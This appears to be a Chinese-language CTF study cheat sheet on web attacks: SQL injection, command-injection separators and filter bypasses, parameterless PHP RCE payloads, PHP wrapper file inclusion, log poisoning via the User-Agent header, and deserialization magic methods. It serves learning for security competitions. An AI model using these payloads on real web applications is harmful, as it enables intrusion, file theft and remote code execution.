SQL注入
1 | select password from users where id = "xiaoming" |
schemata | tables | columns | |
---|---|---|---|
数据库名 | schema_name | ||
表名 | table_schema | table_name | |
字段名 | table_schema | table_name | column_name |
nianji
liuyi
name
1 | select name from nianji.liuyi; |
联合注入
1 | select id,username,password from users union select 1,2,3; |
1 | xiaoming | xiaoming |
1 | 2 | 3 |
1 | select id,username,password from users where id =1 order by 5 |
命令执行
读写文件
1.平替命令
cat 、tac
head、tail
less、more
nl
strings
paste
diff
base64 xxxx | base64 -d
2.分隔符
- |
- ||
- &
- &&
- ;
- %0a
- >
3.绕过过滤
- 关键词过滤
- \ c\at flag.php
- ‘ “ c’’a””t flag.php c”a”t flag.php
- 通配符 ca? flag.php cat fl* flag.php fl456789.php
- a=ag;b=at;c$b fl$a.php
- 空格
- cat<>flag.php
- %09 %0b %0c %a0 ${IFS}
- $IFS cat$IFS$2flag.php cat${IFS}flag.php
4.使用其他命令
- `
- cat
ls
index.php flag.php readme.txt - grep -r “flag”
- 读取当前目录下所有文件的内容,匹配flag
- base64 /flag | base64 -d /???/????64 /??4?.???
- echo “cat /flag【命令要base64编码】”| base64 -d | bash
无参rce
1 |
|
1 | show_source(next(scandir(current(localeconv())))); |
localeconv() 货币信息,第一个是”点“
current()获取数组中第一个键值对
scandir()扫描指定目录
var_dump() 将变量内容进行导出
next() 将指针向后移动一位show_source()读取某个文件
readfile() 读文件
highlight_file()读文件
file()将某个文件读成数组
file_get_contents()将某个文件读成字符串
array_flip() 交换键值对
array_reverse() 反转数组
array_rand()获取数组中随机值
通用payload:
1 | show_source(array_rand(array_flip(scandir(current(localeconv()))))); |
文件包含
1 | include include_once() |
伪协议
1.data://伪协议
a.条件
i.allow_url_fopen =On allow_url_include =On
b.用法
i.data://text/plain,
ii.data://text/plain;base,【base64编码的内容】
iii.data:,
2.php://input
a.条件和上面一样
b.用法:
i.include($_GET[‘file’]) ?file=php://input
ii.$_POST:
3.php://filter
a.php://filter/read=convert.base64-encode/resource=flag.
php
b.php://filter/read=convert.base64-encode/resource=xxx. php
(读文件源码)
1 | `php://filter/write=string.rot13/resource=2.php`(写入文件,相当于打开一个写入的文件流,新建一个文件并指定写的方式) |
1 | `?file=php://filter/write=convert.iconv.UCS-2LE. |
4.phar://
a.文件上传: zip, shell.php -> shell.zip
b.文件包含: ?file=phar://./shell.zip/shell.php
c.注意:
i.shell.zip ->shell.jpg ?file=phar://./shell.jpg/
shell.php
ii.即使修改后缀,对phar读压缩包也没有影响
5.compress.zlib://flag.php
6.zip:///var/www/html/shell.zip
a.需要指定绝对路径
7.zlib://`压缩流
8. compress.zlib://a.txt
(读文件)
9. compress.bzip2://file.bz2
10.http:/x.x.x.x:81/shell.php
日志包含
?file=/etc/passwd
日志中,记录了一些关键信息:ip 请求时间 请求行 响应行 user-agent
1.常见日志路径:
a.nginx: /var/log/nginx/access.log
b.apache: /var/log/apache/access.log
c./var/log/apache2/access.log
d./var/log/secure ssh ““@x.x.x.x
2.请求的时候更改UA头,加上一句话
3.重新包含日志,传入参数看一下代码能否执行
1 | <?php |
反序列化
怎么序列化
1 | class test{ |
魔法函数
__toString(): 将对象以字符串形式调用
__invoke(); 以函数形式调用
__get(); 调用不存在属性触发
__call(); 调用不存在方法触发
unserialize() 检查具有魔术名称 __wakeup 的函数的存在。如果存
在,此函数可以重建对象可能具有的任何资源。
__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
__toString:当对象被当做一个字符串使用时调用。
__sleep:序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup:将在反序列化之后立即被调用,反序列化恢复对象之前
调用该方法
__call:当调用对象中不存在的方法会自动调用该方法。
__get:在调用私有属性的时候会自动执行
__isset()在不可访问的属性上调用isset()或empty()触发
__unset()在不可访问的属性上使用unset()时触发
__invoke() 将对象当作函数来使用的时候,会自动调用该方法,
用“unset()”函数删除对象内部的私有成员属性时,对象会自动用__unset()函数来帮我们删除对象内部的私有成员属性。
__get()如果试图读取一个对象并不存在的属性的时候,PHP就给出错误信息。如果在类里添加__get方法,并且我们可以用这函数实现类似java中反射的各种操作。
工具环境
1.vmware workstation pro 17 及以上
2.kali https://www.kali.org/
3.windows 11 渗透系统
a.https://github.com/arch3rPro/Pentest-Windows
4.CTF toolkit
a.链接:https://share.weiyun.com/8cVhjsKl 密码:233333